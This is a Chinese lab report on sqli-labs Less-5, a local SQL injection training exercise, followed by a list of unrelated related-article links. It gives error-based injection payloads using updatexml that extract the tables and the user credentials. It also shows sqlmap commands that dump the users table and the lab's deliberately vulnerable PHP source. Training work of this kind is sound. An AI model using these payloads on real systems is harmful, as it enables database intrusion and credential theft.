sql-labs靶场第五关测试报告

news2024/10/4 14:08:18

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①Order by判断列数

②寻找注入方式

③爆库,查看数据库名称

④爆表,查看security库的所有表

⑤爆列,查看users表的所有列

⑥成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/

二、测试目的

测试get型的sql注入,报错注入出数据库中的用户名和密码;

使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显  You are in...........

测试符号

给数字加个引号  ‘   ,回显报错,存在sql注入,注入点在url的id值

字符型注入

添加1=1判断,回显又正常,那么闭合符为   ‘    

?id=1' and 1=1 --+

尝试1=2判断,没有回显

?id=1' and 1=2 --+

2、注入数据库

①Order by判断列数

这关的payload闭合符号为   ‘

传入id值,先用order by 查看列数,可见数据库表共三列,查看第四列报错,是有报错信息的

?id=1' order by 3 --+

?id=1' order by 4 --+

②寻找注入方式

使用联合查询注入,发现没有回显的地方

?id=1' union select 1,2,3 --+

有报错信息,尝试报错注入,有结果显示

?id=1'and updatexml(1,concat(0x7e,1213124,0x7e),1) --+

③爆库,查看数据库名称

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

Database()函数返回当前数据库

④爆表,查看security库的所有表

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from
information_schema.tables where table_schema=database()),1,31),0x7e),1) --+

使用inforamtion_schema数据库的tables方法查看本数据库的所有表

⑤爆列,查看users表的所有列

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from
information_schema.columns where table_name='users' and
table_schema=database()),1,31),0x7e),1) --+

依旧是inforamtion_schema数据库,使用columns方法查看对应数据表的所有列

⑥成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=1' and updatexml(1,concat(0x7e,substr((select
group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) --+

可以爆破出用户名和密码信息,更改updatexml函数的第二个参数,起始显示位置,将后面的数据显示

Updatexml函数一次性最大显示31个字符

3、sqlmap注入方法

①爆库

Sqlmap方法只需要把url的less-1改为5就可以了,结果都是一样的

Sqlmap稳定发挥,yyds

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=1 –dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=1 -D security –tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=1 -D security -T users –columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=1 -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo '<font size="5" color="#FFFF00">'; 
    echo 'You are in...........';
    echo "<br>";
        echo "</font>";
    }
    else 
    {
    
    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    
    
    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤。

3.这里语句正确只会回显“you are in ….”,语句错误会输出mysql_error函数,利用报错输出的特点进行注入。

4.Sql语句只取一行,注入时会把注释掉。

5.页面输出内容,利用updatexml函数的特点可以拼接sql语句进行注入,回显出数据库内容。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用报错注入,利用updatexml函数可以执行sql语句。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2188147.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux之实战命令25:xargs应用实例(五十九)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

深度优先搜索:解锁无向图连通分量的编号策略

深度优先搜索:解锁无向图连通分量的编号策略 步骤:伪代码:C 代码实现:说明:在无向图中,深度优先搜索(DFS)是一种有效的算法,可以用来找出图的连通分量(Connected Components)。DFS 遍历图的过程中,可以自然地将图划分为若干棵树,这些树构成深度优先森林,其中每棵…

day03 笔试练习

1.简写单词 题目链接&#xff1a;简写单词_牛客题霸_牛客网 public static void main(String[] args) {Scanner sc new Scanner(System.in);while(sc.hasNext()){ // 输入多少读入多少char ch sc.next().charAt(0); // 提取首字母if(ch > a && ch < z){System…

netty之SpringBoot+Netty+Elasticsearch收集日志信息数据存储

前言 将大量的业务以及用户行为数据存储起来用于分析处理&#xff0c;但是由于数据量较大且需要具备可分析功能所以将数据存储到文件系统更为合理。尤其是一些互联网高并发级应用&#xff0c;往往数据库都采用分库分表设计&#xff0c;那么将这些分散的数据通过binlog汇总到一个…

第L9周:无监督学习|K-means聚类算法

本文为365天深度学习训练营 中的学习记录博客原作者&#xff1a;K同学啊 任务描述&#xff1a; ●学会调用sklearn实现KMeans算法。 ●了解误差平方和与轮廓系数。 1.聚类算法是什么&#xff1f; 聚类就是将一个庞杂数据集中具有相似特征的数据自动归类到一起&#xff0c;称为…

Leetcode 1498. 满足条件的子序列数目

1.题目基本信息 1.1.题目描述 给你一个整数数组 nums 和一个整数 target 。 请你统计并返回 nums 中能满足其最小元素与最大元素的 和 小于或等于 target 的 非空 子序列的数目。 由于答案可能很大&#xff0c;请将结果对 109 7 取余后返回。 1.2.题目地址 https://leet…

【优选算法之队列+宽搜/优先级队列】No.14--- 经典队列+宽搜/优先级队列算法

文章目录 前言一、队列宽搜示例&#xff1a;1.1 N 叉树的层序遍历1.2 ⼆叉树的锯⻮形层序遍历1.3 ⼆叉树最⼤宽度1.4 在每个树⾏中找最⼤值 二、优先级队列&#xff08;堆&#xff09;示例&#xff1a;2.1 最后⼀块⽯头的重量2.2 数据流中的第 K ⼤元素2.3 前 K 个⾼频单词2.4 …

气象网格数据与卫星轨道数据如何匹配??

&#x1f3c6;本文收录于《全栈Bug调优(实战版)》专栏&#xff0c;主要记录项目实战过程中所遇到的Bug或因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&am…

IDEA里面的长截图插件

1.我的悲惨经历 兄弟们啊&#xff0c;我太惨了&#xff0c;我刚刚在准备这个继承和多态的学习&#xff0c;写博客的时候想要截图代码&#xff0c;因为这个代码比较大&#xff0c;一张图截取不下来&#xff0c;所以需要长截图&#xff0c;之前使用的qq截图突然间拉胯&#xff0…

栈和队列相互实现(Java)

本篇任务 前篇我们分别介绍了栈和队列&#xff0c;并对其进行了简单的自我实现&#xff0c;本篇我们将通过栈和队列的相互实现来进一步熟悉和运用栈和队列&#xff0c;如下是我们将要完成的题目&#xff1a; 用队列实现栈https://leetcode-cn.com/problems/implement-stack-u…

【2022工业图像异常检测文献】CFLOW-AD: 通过条件归一化流实现实时无监督定位异常检测

CFLOW-AD: Real-Time Unsupervised Anomaly Detection with Localization via Conditional Normalizing Flows 1、Background 虽然最近提出针对此类数据设置的模型在准确性指标上取得了很高的成绩&#xff0c;但它们的复杂性限制了实时处理的能力。 CFLOW-AD由一个经过判别式…

区块链+Web3学习笔记

学习资料来源于B站&#xff1a; 17小时最全Web3教程&#xff1a;ERC20&#xff0c;NFT&#xff0c;Hardhat&#xff0c;CCIP跨链_哔哩哔哩_bilibili 该课程提供的Github代码地址&#xff0c;相关资料详见README.md&#xff1a; Web3_tutorial_Chinese/README.md at main sm…

Netty系列-8 Netty处理粘包和半包问题

1.半包和粘包问题 TCP协议是基于字节流的数据通讯协议&#xff0c;数据被看做是一连串的字节流&#xff1b;不具备边界信息&#xff0c;给接收方带来半包和粘包问题。 半包&#xff1a;TCP传输时&#xff0c;将数据切割成一个个数据包进行传输。接收方一次读取操作&#xff0c…

吉他弹唱打谱软件哪个好用 吉他弹唱制谱教程

吉他这门乐器一直受到大众的欢迎&#xff0c;究其原因&#xff0c;还是因为其成本低廉、易上手的特性。但是吉他是一个入门容易精通难的乐器&#xff0c;想要成为一个资深的吉他玩家&#xff0c;那么就少不了用到一些吉他弹唱打谱软件。今天我们就来说一说吉他弹唱打谱软件哪个…

学习 CSS 新的属性 conic-gradient 实现环形进度条

我们在工作中用到环形进度条的时候&#xff0c;一般都是使用组件库提供的&#xff0c;那么你有没有想过这是怎么实现的呢&#xff1f; <divclass"progress"style"--progress: 80%; --last: 20%"data-progress"80%"></div><style …

【宽搜】2. leetcode 102 二叉树的层序遍历

题目描述 题目链接&#xff1a;二叉树的层序遍历 根据上一篇文章的模板可以直接写代码&#xff0c;需要改变的就是将N叉树的child改为二叉树的left和right。 代码 class Solution { public:vector<vector<int>> levelOrder(TreeNode* root) {vector<vector&…

k8s的学习和使用

为什么用k8s&#xff0c;不用docker&#xff1f; k8s更适合复杂的微服务架构和大规模的容器应用。 Pods(Pod) Pod是k8s最小可部署单元&#xff0c;他包含一个或多个相关容器。这些容器共享网络命名空间和存储卷&#xff0c;他们通常协同工作来构成一个应用程序。 Serv…

开启AI新篇章:探索GPT-4与大模型!订阅方案!简单支付!

开启AI新篇章&#xff1a;探索GPT-4的无限可能 随着人工智能技术的飞速发展&#xff0c;我们正处于一个前所未有的变革时代。作为人工智能领域的领导者&#xff0c;OpenAI 推出的GPT-4&#xff0c;以其卓越的自然语言处理能力和强大的计算潜力&#xff0c;引发了行业内外的广泛…

深入浅出MySQL

深入浅出MySQL 以下内容参考自 《MySQL是怎样运行的&#xff1a;从根儿上理解MySQL》一书&#xff0c;强烈推荐 存储引擎 对于不同的表可以设置不同的存储引擎 CREATE TABLE tableName (xxxx ) ENGINE 引擎名称; # 修改 ALTER TABLE tableName ENGINE xxx; 编码格式 my…

(C语言贪吃蛇)10.贪吃蛇向右自行行走

目录 前言 本节内容 实现效果 修改后的代码 其他封装函数&#xff1a; 运行效果 总结 前言 我们上节讲解了关于贪吃蛇撞墙然后死翘翘重新初始化蛇身的操作&#xff0c;主要是关于程序初始化释放内存的操作&#xff0c;不理解的再去看看&#x1f618;(贪吃蛇撞墙找死详解)。…